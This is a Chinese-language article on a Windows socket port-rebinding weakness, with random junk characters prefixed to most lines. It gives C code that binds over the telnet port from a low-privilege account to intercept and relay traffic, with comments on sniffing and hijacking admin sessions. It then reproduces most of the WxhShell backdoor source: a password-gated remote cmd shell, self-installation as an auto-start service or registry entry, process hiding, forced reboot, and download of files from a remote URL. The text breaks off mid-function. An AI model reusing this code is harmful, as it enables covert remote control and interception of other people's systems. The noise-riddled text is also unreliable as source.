在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
aQkOQy s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{7o#Ve ab0Sx saddr.sin_family = AF_INET;
+/:tap|V C*9X;+S0J saddr.sin_addr.s_addr = htonl(INADDR_ANY);
i;[y!U FhE{khc# bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
1v o)]ff %x)bZ=An 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+2tQFV; ==[,;g
x 这意味着什么?意味着可以进行如下的攻击:
,S)r%[ru^ /@os*c|je 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+SJ.BmT D$>_W ,*V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
,pNx(a 5pO|^Gj1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
X1L@
G ,Z.sGv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Rx%S<i;9 ^5mc$~1` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_n&Nw7d2
M ngY%T5- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
n,la<N] (FuIOR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4<s.|W` bOY;IB
_ #include
y(A' *G9 #include
O&`.R|v #include
@@EI=\ #include
gcLz}84 DWORD WINAPI ClientThread(LPVOID lpParam);
'U@o!\=a int main()
(IJNBJb {
_|HhT^\P WORD wVersionRequested;
1uF$$E6[ DWORD ret;
QYJ
EUC@ WSADATA wsaData;
2*Z2uV^ BOOL val;
8*ZsR)! SOCKADDR_IN saddr;
voWH.[n^_ SOCKADDR_IN scaddr;
49$P int err;
<@<rU:o=V SOCKET s;
J[ds.~ $ SOCKET sc;
gN&i&%*! int caddsize;
pO]gf$ HANDLE mt;
5dBftTv? DWORD tid;
%36x'Dn? wVersionRequested = MAKEWORD( 2, 2 );
*zfgO pK err = WSAStartup( wVersionRequested, &wsaData );
:yay:3qv if ( err != 0 ) {
_03?XUKV printf("error!WSAStartup failed!\n");
6&3,fSP return -1;
!,4ag1 }
V0ze7tSG[f saddr.sin_family = AF_INET;
8^mE< $KHm5*;nd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
kmB!NxF>)F !^J;S%MB:K saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!iXRt" ) saddr.sin_port = htons(23);
\1EuHQ? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
lU
WXXuO] {
7Z-j'pq printf("error!socket failed!\n");
Z%T Ajm return -1;
9tiZIm93] }
g40Hj Y val = TRUE;
Uqr>8|t? //SO_REUSEADDR选项就是可以实现端口重绑定的
jm0p%%z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
+9)JtmoL {
]5!3|UYS printf("error!setsockopt failed!\n");
/-=fWtA return -1;
lFBdiIw }
Aq i:h]x //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
+X?ErQm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
~ELY$G.xl //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Gvb2>ZN XN<SKW(H3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
K+g[E<x\= {
#A63?kDE&& ret=GetLastError();
8-$t7bV5 printf("error!bind failed!\n");
?W/.'_ return -1;
sJHVnMA }
4WT[( listen(s,2);
nF3}wCe) while(1)
&|>@K#V8-; {
+ikSa8)*i caddsize = sizeof(scaddr);
9u=A:n\ //接受连接请求
l.YE@EL sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Y$'j9bUJ if(sc!=INVALID_SOCKET)
G5ATR<0m {
sqkWQ`Ur mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~uQ*u.wi if(mt==NULL)
ttP7-y {
gt kV=V printf("Thread Creat Failed!\n");
^W |YE72Y break;
kUT2/3Vi }
X2w)J?pv }
6Yai?*.Q CloseHandle(mt);
;?h[WIy }
MBLZ:A |
C closesocket(s);
xJq|,":gj WSACleanup();
D:P(; return 0;
qpQ;,8X-" }
iO L$| Z( DWORD WINAPI ClientThread(LPVOID lpParam)
)>a~ %~: {
RQ+, 7Ir SOCKET ss = (SOCKET)lpParam;
!V|{(>+< SOCKET sc;
}1a}pm2p unsigned char buf[4096];
["Zvwes#7 SOCKADDR_IN saddr;
G|i0n
long num;
\S}/2]* 1 DWORD val;
zAgX{$/Fg DWORD ret;
R >x d*A //如果是隐藏端口应用的话,可以在此处加一些判断
Y;'<u\^M" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
D
0Xl`0"' saddr.sin_family = AF_INET;
(
eV,f saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
*&U~Io"U saddr.sin_port = htons(23);
*>fr'jj1$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>hunV'vu' {
;hj lRQ\ printf("error!socket failed!\n");
F^UtZG+ return -1;
h5?^MRZS }
T"wg/mT val = 100;
6?Ncgj
&@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Om3Ayk} {
InP E_ ret = GetLastError();
^WA7X9ed return -1;
!Tzo&G }
>%/x~UFc5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
yT^x0?U {
CmEqo;Is ret = GetLastError();
WjD885Xo return -1;
OB>Hiy
}
z} fpV T if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
AD?zBg Zu {
O'4G'H) printf("error!socket connect failed!\n");
N8A)lYT]_u closesocket(sc);
)JMqC+J3*t closesocket(ss);
c*KE3: return -1;
~IhAO}1 }
?v^NimcZ while(1)
M/ S~"iD {
4o>y9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
#W\}v(Ke //如果是嗅探内容的话,可以再此处进行内容分析和记录
;i@S}LwL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Yf0 KG num = recv(ss,buf,4096,0);
}[+uHR6L if(num>0)
+n^M+ea; send(sc,buf,num,0);
JCWTB`EB> else if(num==0)
I0XJ&P% break;
;m7V]h? R num = recv(sc,buf,4096,0);
>$q if(num>0)
:a wt7lqv send(ss,buf,num,0);
4v[y^P else if(num==0)
_i_='dsyW/ break;
s'HsLe0| }
@9/I^Zk closesocket(ss);
PV68d; $:8 closesocket(sc);
.}faWzRH9 return 0 ;
b{0a/&&1O }
ybaY+![* N'{[BA(eE Ejug2q ==========================================================
=\Q<TY *-0s
`rC 下边附上一个代码,,WXhSHELL
9qx4F<
Q2
q~m8( ==========================================================
uq5?t 4`O[U#? #include "stdafx.h"
w>W #cTt 20Zxv! #include <stdio.h>
<AgB"y@ #include <string.h>
M}]
*j #include <windows.h>
Ow0>qzTg #include <winsock2.h>
SxF'2ii #include <winsvc.h>
aH}/+Hu- #include <urlmon.h>
$6Ma{r C| N+&uR!:.C #pragma comment (lib, "Ws2_32.lib")
}`=7%b`-? #pragma comment (lib, "urlmon.lib")
e=;A3S CR4O#f8\ #define MAX_USER 100 // 最大客户端连接数
Av x` #define BUF_SOCK 200 // sock buffer
i'fw>-0 #define KEY_BUFF 255 // 输入 buffer
M CC4' 3.W[]zH/u #define REBOOT 0 // 重启
}s,NM%oI #define SHUTDOWN 1 // 关机
8}n<3_ 0zW*JJxV #define DEF_PORT 5000 // 监听端口
|5u~L#P KL \>-
#define REG_LEN 16 // 注册表键长度
rLTBBvV #define SVC_LEN 80 // NT服务名长度
\$ 9C1@B@ 2 "&GH1 // 从dll定义API
\,S|>CPQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
9'MGv*Ho typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ni;)6,i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
n)yDep]$G typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
@]qP:h. =l(euBb // wxhshell配置信息
v3"6'.f;bY struct WSCFG {
"Enb int ws_port; // 监听端口
4cQP+ n char ws_passstr[REG_LEN]; // 口令
KV0*dB; int ws_autoins; // 安装标记, 1=yes 0=no
k^
<]:B char ws_regname[REG_LEN]; // 注册表键名
{
^o.f char ws_svcname[REG_LEN]; // 服务名
l~J d>9DwY char ws_svcdisp[SVC_LEN]; // 服务显示名
!Yof%%m$; char ws_svcdesc[SVC_LEN]; // 服务描述信息
X>I3N?5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
U["0B8 int ws_downexe; // 下载执行标记, 1=yes 0=no
r+#{\~r7T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
x2v0cR"KL char ws_filenam[SVC_LEN]; // 下载后保存的文件名
N7?]eD p]L]=-(qI };
[!uzXVS3 @i#JlZM_ // default Wxhshell configuration
B:h<iU:'D struct WSCFG wscfg={DEF_PORT,
|_?e.}K "xuhuanlingzhe",
>XtfT' 1,
kZe<<iv "Wxhshell",
puPI^6y% "Wxhshell",
97liSd "WxhShell Service",
dWz?`B{' "Wrsky Windows CmdShell Service",
[}szM^ "Please Input Your Password: ",
:
UeK0 1,
s)Y1%# "
http://www.wrsky.com/wxhshell.exe",
{Zgd "Wxhshell.exe"
[IAUJ09>I };
`cp\UH@
+b 6R // 消息定义模块
0AHQ(+Ap char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
tV!?Ol char *msg_ws_prompt="\n\r? for help\n\r#>";
t:2DB) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
$udhTI#, char *msg_ws_ext="\n\rExit.";
44KoOY_ char *msg_ws_end="\n\rQuit.";
N3"Jo uP char *msg_ws_boot="\n\rReboot...";
<0d2{RQ; char *msg_ws_poff="\n\rShutdown...";
G*z\
^H char *msg_ws_down="\n\rSave to ";
'K4FS(q hywcj\[ char *msg_ws_err="\n\rErr!";
^QNc!{` char *msg_ws_ok="\n\rOK!";
=~
Uhr6Q tp`1S+'~j char ExeFile[MAX_PATH];
??F* Z" x int nUser = 0;
u1meysa{0 HANDLE handles[MAX_USER];
VcKB:(:[ int OsIsNt;
yzN[%/ 1AAyzAP9` SERVICE_STATUS serviceStatus;
i#-v4g SERVICE_STATUS_HANDLE hServiceStatusHandle;
\Th<7WbR6# y,5qY}P+ // 函数声明
(;#c[eKy int Install(void);
8>YF}\D V int Uninstall(void);
1<ag=D`F_" int DownloadFile(char *sURL, SOCKET wsh);
^+x?@$rq int Boot(int flag);
zT>!xGTu7~ void HideProc(void);
6*i** int GetOsVer(void);
G _cJI int Wxhshell(SOCKET wsl);
6x^$W ]R void TalkWithClient(void *cs);
=TD`P et int CmdShell(SOCKET sock);
Z:9 Q~}x8 int StartFromService(void);
{R_>KE1 int StartWxhshell(LPSTR lpCmdLine);
TAXsL&Tz> m,)s8_a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
-;9
}P VOID WINAPI NTServiceHandler( DWORD fdwControl );
J+/}m}bx Y(Oh7VwY*P // 数据结构和表定义
lp}S'^ y SERVICE_TABLE_ENTRY DispatchTable[] =
c|/HX%Y
{
xFF!)k # {wscfg.ws_svcname, NTServiceMain},
N|DfE{, {NULL, NULL}
Gd!-fqNa'x };
?Ek)" l M!,H0(@G // 自我安装
D|q~n)TW5 int Install(void)
_)45G"M {
O|H: char svExeFile[MAX_PATH];
&vrQ *jX HKEY key;
s70Z&3A strcpy(svExeFile,ExeFile);
wsmgkg HAn{^8"@ // 如果是win9x系统,修改注册表设为自启动
8n3]AOc'~- if(!OsIsNt) {
poBeEpbs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6nTM~]5. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
WJq>%<# RegCloseKey(key);
~kZdep^] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
G[KjK$.Ts? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*?<N3Rr* RegCloseKey(key);
x^K4&'</ return 0;
HJ&P[zV^ }
{VAih-y }
_^ENRk@ }
@bg9
}Z%\h else {
?;,; h~>1-T8 // 如果是NT以上系统,安装为系统服务
}StzhV{GS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
akvi^]x if (schSCManager!=0)
-+E.I*st {
^xHKoOTj[ SC_HANDLE schService = CreateService
Xc-["y64 (
YF{MXK} schSCManager,
`Na()r$T wscfg.ws_svcname,
"VZ1LVI wscfg.ws_svcdisp,
y`RzcXblIZ SERVICE_ALL_ACCESS,
dgP eH8_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
;g0s1nz SERVICE_AUTO_START,
rMwa6ZO'm; SERVICE_ERROR_NORMAL,
jf3Zy:*K svExeFile,
t2,II\Kl NULL,
4K^cj2X NULL,
4o#]hB';ni NULL,
B_d\eD NULL,
t/[lA=0 )2 NULL
yv-R<c!' );
k'iiRRM if (schService!=0)
J2qsZ {
( 1z"=NCp CloseServiceHandle(schService);
]({-vG\m CloseServiceHandle(schSCManager);
5qrD~D' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
b^HDN(v strcat(svExeFile,wscfg.ws_svcname);
\=0;EI-j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
]1++$Ej RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)|*Qs${tF RegCloseKey(key);
d7^
` return 0;
v_zt$bf{Y }
*5Zow 3 }
hwGK),?"+ CloseServiceHandle(schSCManager);
:[<Y#EX. }
O}"oz3H }
yx8G9SO? PMP{|yEx" return 1;
1"y!wsM% }
"=a3"/u ^8&}Nk[ j // 自我卸载
UC+Qn int Uninstall(void)
jV2H61d {
Z 7@'I0;A HKEY key;
nZioFE} wNi%u{T if(!OsIsNt) {
B?%u<F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lfAy$qP"} RegDeleteValue(key,wscfg.ws_regname);
$$ND]qM$M RegCloseKey(key);
Iynks,ikA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2BC!,e$Z RegDeleteValue(key,wscfg.ws_regname);
qlcd[Y*B RegCloseKey(key);
~DD
_n return 0;
"]"0d[d }
kZF]BPh. }
\oPe"k= }
5.^pD9 [mT else {
w"0$cL3 br=e+]C Y) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
.6gx|V+ if (schSCManager!=0)
_YX% M|# {
P'VHga SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
)>ML7y if (schService!=0)
&m--} {
3X(^`lAf) if(DeleteService(schService)!=0) {
!IOmJpl' CloseServiceHandle(schService);
OmuE l> CloseServiceHandle(schSCManager);
:Pq&l. return 0;
c^= q(V }
:kHk'.V1( CloseServiceHandle(schService);
lH3.q4D
5 }
Gxd/t#; CloseServiceHandle(schSCManager);
`&NFl'l1C }
v.W! }
"5eD
>! lB27Z} return 1;
oI-Fr0! }
W_XFTqp^ (m1m}* @ // 从指定url下载文件
wA{)9. int DownloadFile(char *sURL, SOCKET wsh)
W^elzN(
{
D&m1yl@\J HRESULT hr;
b#I,Z+0ry char seps[]= "/";
'\{ OQH char *token;
HVvm3qu4 char *file;
s>;"bzzq char myURL[MAX_PATH];
v
Z10Rb8 char myFILE[MAX_PATH];
Fe[6Y<x+: sA6Hk B. strcpy(myURL,sURL);
?e-rwaW token=strtok(myURL,seps);
SsX$l<t* while(token!=NULL)
5V<6_o {
wp:$Tq a$ file=token;
8TYh&n=r token=strtok(NULL,seps);
pW ~;B*hF }
87[o^) 8 w'}s'gGE GetCurrentDirectory(MAX_PATH,myFILE);
TJNE2 strcat(myFILE, "\\");
"|i1 AR:I strcat(myFILE, file);
5S? "<+J' send(wsh,myFILE,strlen(myFILE),0);
S*}GW-)oA send(wsh,"...",3,0);
=3,<(F5Y[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
cY} jPDH if(hr==S_OK)
t>]W+Lx#
return 0;
>kAJS?? else
1%M^MT%& return 1;
leHKBu'd IO#)r[JZ }
{$ N\@q@v~ <=uO*s>% // 系统电源模块
ruqE]Hx9( int Boot(int flag)
JK)|a@BtOT {
W{IP}mM HANDLE hToken;
[
2@Lc3< TOKEN_PRIVILEGES tkp;
E2
'Al6^C Ew}GPJ if(OsIsNt) {
Nj6Np^@sH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
p,WBF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Rt%Dps% tkp.PrivilegeCount = 1;
f~d=1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_BG`!3U+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)FB<gCh7X if(flag==REBOOT) {
yq3"VFh3d if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~=wBF return 0;
,hK
=x }
mp3 Dc else {
7TAoWD3
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
a
w~a/T: return 0;
FIn)O-< }
$.DD^ "9 }
RW>F %P else {
m$Tt y[0 if(flag==REBOOT) {
/XRgsF if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^umHuAAE return 0;
Ahd{f! }
M]\"]H? else {
oQyMs> g if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
T5~Qfl?Y return 0;
#oGvxc7 }
"6$+B/5 }
g 'L$m| ^(xVjsHp# return 1;
7.5\LTM>9e }
17Q*
<iCs j@Us7Q)A( // win9x进程隐藏模块
nkk GJV! void HideProc(void)
suj}A {
jaThS!>v /9y'UKl7[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!x:w2 if ( hKernel != NULL )
RAyR&p {
`Geq, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
AMgvk`<f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}=3W(1cu- FreeLibrary(hKernel);
p|Fhh\,*`X }
G`!;RX A&'HlI%J return;
8DrKq]& }
(aCl*vV1 J! eVw\6 // 获取操作系统版本
nfvs"B; int GetOsVer(void)
I^A01\p {
;rta#pRn OSVERSIONINFO winfo;
A%M&{S'+|X winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
QQjMC' GetVersionEx(&winfo);
6ud<B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
EVmE{XlD; return 1;
`V ++})5v else
q14A'XW return 0;
_jb"@TY }
J2#=`|t" 13{"sY:PT# // 客户端句柄模块
{&(bKQ int Wxhshell(SOCKET wsl)
]O&A:Us {
Ip0@Q}^ SOCKET wsh;
;v+CQx struct sockaddr_in client;
OEGAwP?F DWORD myID;
<Q-ufF85) Mz{ Rh+gS while(nUser<MAX_USER)
:S7yM8b` {
skP_us~ int nSize=sizeof(client);
1J*wW# e wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
+XRv
iHA` if(wsh==INVALID_SOCKET) return 1;
zsRN\U kk5i{.?[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
XKU=VOY if(handles[nUser]==0)
lR^dT4 closesocket(wsh);
z8"=W,2 else
|V~P6o(/ nUser++;
kAk,:a;P }
GrQAho WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
<db/. A3 t_VHw'~" return 0;
E[Io8|QA }
%J%gXk}] :~)Q] G1Nj // 关闭 socket
$v oyXi`* void CloseIt(SOCKET wsh)
+#H8d1^5 {
izWl5}+'B closesocket(wsh);
3S2'JOTY nUser--;
|]\bgh ExitThread(0);
+[}]a3) }
/~tfP 6k3l/ ~R // 客户端请求句柄
;<X3AhF void TalkWithClient(void *cs)
'}YXpB {
K
:q-[\G u#UeJuO SOCKET wsh=(SOCKET)cs;
K((Kd&E char pwd[SVC_LEN];
quUJ%F char cmd[KEY_BUFF];
z=Vvb char chr[1];
w./EJkKI int i,j;
&%r#eB?7 22r01qH while (nUser < MAX_USER) {
O}f(h5!k @Q1jH~t if(wscfg.ws_passstr) {
A07P$3>/W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+@qk=]3a //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]D-48o0 //ZeroMemory(pwd,KEY_BUFF);
XP;&iZJ i=0;
tB3CX\e while(i<SVC_LEN) {
\+~4t 7Y*m_AhxJ // 设置超时
i:8^:(i fd_set FdRead;
Cw|SY struct timeval TimeOut;
qRGb3l FD_ZERO(&FdRead);
C[&&.w8Pm FD_SET(wsh,&FdRead);
v_@_J!s TimeOut.tv_sec=8;
6uXYZ.A TimeOut.tv_usec=0;
S'JeA>L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
KE&}*Nf[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
qtH&]Suu, pz
IMj_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
yl 8v&e{ pwd
=chr[0]; 4F4u1r+
if(chr[0]==0xd || chr[0]==0xa) { .M{[J]H`t
pwd=0; .XB] X
break; rlIEch^wZ
} udZ: OU<
i++; hw'2q9J|
} l9ihW^
@ty|HXW
// 如果是非法用户,关闭 socket fBOPd=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ge oN4
} 6qJB"_.
66 Xt=US
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |\(/dXXP
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %UJ4wm
)x7hhEk=^
while(1) { *vO'Z &
oX4uRc7wR
ZeroMemory(cmd,KEY_BUFF); GKtQ>39B
5#o,]tP
// 自动支持客户端 telnet标准 (*x"6)`
j=0; k0IU~y%
while(j<KEY_BUFF) { RM+E
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KRZV9AJ
cmd[j]=chr[0]; U.F65KaKF
if(chr[0]==0xa || chr[0]==0xd) { PK4UdT
cmd[j]=0; NGY I%:
break; qi2dTB
} iP%=Wo.
j++; )\;r
V';
}
'X,V
\veL 5
// 下载文件 EG.C2]Fi
if(strstr(cmd,"http://")) { R7{hoqI2
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \IfgL$+
if(DownloadFile(cmd,wsh)) (B-9M)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5w1[KO#K|
else m6cW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P[K=']c
} m^.C(}
else { %p60pn[(
1F,_L}=o1s
switch(cmd[0]) { y21uvp'
ix+x-G
// 帮助 i|^6s87"N2
case '?': { EvmmQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1W[(+TZ&s
break; Q9>]@DrAx
} b]#d04]
// 安装 !S-U8KI|
case 'i': { [ d7]&i}*|
if(Install()) <pUou
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <;e#"(7
else XE*bRTEw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *^Y0}?]qT
break; 3raA^d3!?
} ^b %8_?2m
// 卸载 J"%}t\Q
case 'r': { 'e64%t
if(Uninstall()) ~(/HgFLLu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ds_
"m,
else Z|%2495\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y`?X Fy:
break; [Mc5N
} ]!aa#?Fc
// 显示 wxhshell 所在路径 QJM!Wx+
case 'p': { 5qSZ>DZ
char svExeFile[MAX_PATH]; CHit
strcpy(svExeFile,"\n\r"); E57{*C
strcat(svExeFile,ExeFile); 1<`7MN
send(wsh,svExeFile,strlen(svExeFile),0); p\;)^O4
break; ~J{[]wi
} WUS9zK
// 重启 X$iJ|=vW
case 'b': { Wb)l8[=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;w(1Ydo
if(Boot(REBOOT)) D])YP0|}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =>\-ma+
else { /+`<X%^U
closesocket(wsh); {taVAcb
ExitThread(0); 8G] m7Z
} GTe:k
break; ca*[n~np
} yGGB
// 关机 p3FnYz-V
case 'd': { vcO`j<`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \N , ' +
if(Boot(SHUTDOWN)) 'A!/pUML
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F(~_L.
else { /&as)
closesocket(wsh); rE `}?d
ExitThread(0); E0^%|Mh]b
} "IS^ajaq
break; jZT :-w
} &MZy;Sq
// 获取shell lN>C#e<]
case 's': { 0(/D|
CmdShell(wsh); /NX7Vev
closesocket(wsh); <Iyot]E
ExitThread(0); DbU;jorwu
break; [RPAkp
} UW[{d/.wC
// 退出 0/@ X!|X
case 'x': { xTFrrmxOf
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JOx,19r
CloseIt(wsh); t{8v(}
break; 56SS
>b
} f
H|QAMfOu
// 离开 w1@b5-
case 'q': { !M&un*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +VLe'|
closesocket(wsh); @PoFxv
WSACleanup(); fCf#zV[
exit(1); K}E7|gdG
break; h<'5q&y
} Oqpl2Y"/
} H4'DL'83
} ''OInfd?
wYO"znd
// 提示信息 b}Hl$V(uD
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1m<?Q&|m$
} !H|82:`t+
} Ryba[Fz4Di
3E!<p
return; "R2t&X[9
} DxKfWb5 R
w-H%B`/
// shell模块句柄 LX\*4[0%K
int CmdShell(SOCKET sock) xJ2O4ob
{ ,)rZAI
STARTUPINFO si; "vOfAo]`
ZeroMemory(&si,sizeof(si)); `,Y[ Z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0YpiHoM
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yl&tkSw46
PROCESS_INFORMATION ProcessInfo; FfxX)p1t
char cmdline[]="cmd"; SQt|(r)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wL-ydMIx
return 0; _m7U-;G
} grCO-S|j^
(!VMnLlXRK
// 自身启动模式 xa{<R+LR
int StartFromService(void) :\+{;;a@
{ O/Y\ps3r
typedef struct C?60`^
{ +eBMn(7Cgv
DWORD ExitStatus; ?#*
DWORD PebBaseAddress; v= *Bb3dt
DWORD AffinityMask; 5&<d2EG6l'
DWORD BasePriority; 3cCK"kr
ULONG UniqueProcessId; @UpC{M--Wr
ULONG InheritedFromUniqueProcessId; h-La'}>?
